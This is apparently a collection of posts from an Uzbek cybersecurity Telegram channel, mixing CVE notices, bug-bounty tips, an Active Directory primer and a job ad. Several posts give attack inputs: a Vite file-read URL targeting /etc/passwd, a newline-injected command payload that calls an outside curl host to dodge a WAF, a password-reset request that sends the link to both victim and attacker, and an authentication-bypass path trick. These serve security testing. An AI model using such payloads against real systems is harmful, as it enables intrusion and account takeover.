🔥 Forensics artifacts collection | inquisitor


GUI va CLI ko`rinishida ishlovchi raqamli ekspertiza uchun ishlatiladigan ochiq kodli windows os uchun dastur.

TOP servislar , resurslar haqida , loglar , event va tizimdagi muhim ma`lumotlarni aniqlash uchun ishlatiladi.

Telegram kanalimiz : @best_master_uz_official

https://ab57.ru/cmdlist/icacls.html


https://ss64.com/nt/icacls.html

icacls for manage for Windows file system

this command need for Privilage Escalation

Reference: https://github.com/minio/minio/security/advisories/ghsa-6xvq-wj2x-3h3q

Vuln: Information Disclosure

Severity: Critical

CVE-2023-28432

#POC #Pentest #Minio

POC —> https://www.exploit-db.com/exploits/51734

Minio 2022-07-29T19-40-48Z - Path traversal

CVE-2022-35919

#POC #Pentest #Minio

CVE-2025-30208 affects #Vite (prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10). When exposed to the network (--host flag), it allows arbitrary file read: /etc/passwdor C:\Windows\win.ini by appending ?raw?? or ?import&raw??.

PoC: https://1.2.3.4/etc/passwd?raw??

#BugBounty

↳ JavaScript Static Analysis - Locate Dangerous Functions

• An open-source analysis tool to detect vulnerabilities in code is Semgrep. You can configure your own detection rules or use rules created by the community.

• Interesting functions and properties in JavaScript are for example:

Element.innerHTML eval() window.postMessage() window.addEventListener() window.localStorage window.sessionStorage document.cookie

#bugbounty #pentest #bugbountyTips

Active Directory (AD) is a directory service developed by Microsoft for Windows domain networks. It is used to manage and organize computers, users, and resources within a network. AD provides authentication and authorization services, allowing administrators to control access to network resources efficiently.

Key Components of Active Directory:

1. Domain Controller (DC) – A server that stores AD data and handles authentication.

2. Organizational Units (OUs) – Logical containers for organizing users, groups, and computers.

3. Groups & Users – Define permissions and access control.

4. Group Policy (GPO) – Used to enforce security settings and configurations.

5. Forest & Domains – A hierarchical structure that organizes multiple AD domains.

Образование и опыт:
Опыт работы 2–5 лет в сфере сетевой безопасности.
Глубокие знания сетевых протоколов и технологий (BGP, OSPF, VLAN, IPsec).
Навыки и знания:
Администрирование и настройка SIEM-систем (Splunk, QRadar).
Опыт работы с WAF, DLP, PAM, IAM.
Работа с NGFW (Next-Gen Firewall) и межсетевыми экранами (FortiGate, Palo Alto, Cisco ASA).
Анализ уязвимостей и тестирование на проникновение (pentest).
Опыт работы с Linux/Windows на продвинутом уровне.
Желательные сертификаты:
Cisco CCNP Security
Fortinet NSE 4-7

@sherzodubaydullaev

Yoki Junior Network Engineer bo'lsa ham bo'ladi

POC: https://github.com/MuhammadWaseem29/CVE-2025-24799/tree/main

Pre-Auth SQL Injection
CVE-2025-24799
Severity : Critical

#CVE

🔥Never forget to check for blind RCE!💥

I was testing a login panel and had a gut feeling the username field might be vulnerable. I tried some classic payloads like:

;id | whoami & uname

But... firewall detected and blocked them all.
Even when I tried curl or ping for blind RCE — still blocked.

Then I thought: maybe the WAF is only scanning the first line of the input? So why not try a little trick?

Payload idea: Inject a newline before the actual payload:

attacker'%0acurl https://tluxnubdqopuwecbljrj5i6tot8ddd64b.oast.fun

(Use %0a for newline — URL encoded)

And boom — Blind RCE triggered! My server got the hit instantly.

Cybersecurity isn’t about effort — it’s about mindset. Deep thinking always wins over brute force.❤️

Password Reset Bypass Trick 🌀

Some poorly secured endpoints accept multiple email parameters.😳

Try this:

POST /passwordReset HTTP/1.1 
Content-Type: application/x-www-form-urlencoded 

[email protected]&[email protected]

Or in JSON:

{
  "email": ["[email protected]", "[email protected]"]
}

If the app sends the reset link to both emails… you’re in.⚡
Now imagine if the victim is an admin — hello dashboard, hello bounty!💰

#bugbountytips

🔥You can find💥
Broken access control to idor vulnerability:
using this simple tricks (effective for .net webapps and sometimes work in php based webapps)🧐😎

target.com/hidden this page required authentication or redirect to /login page.

Try: target.com/login/hidden

OMG! Auth bypass ✅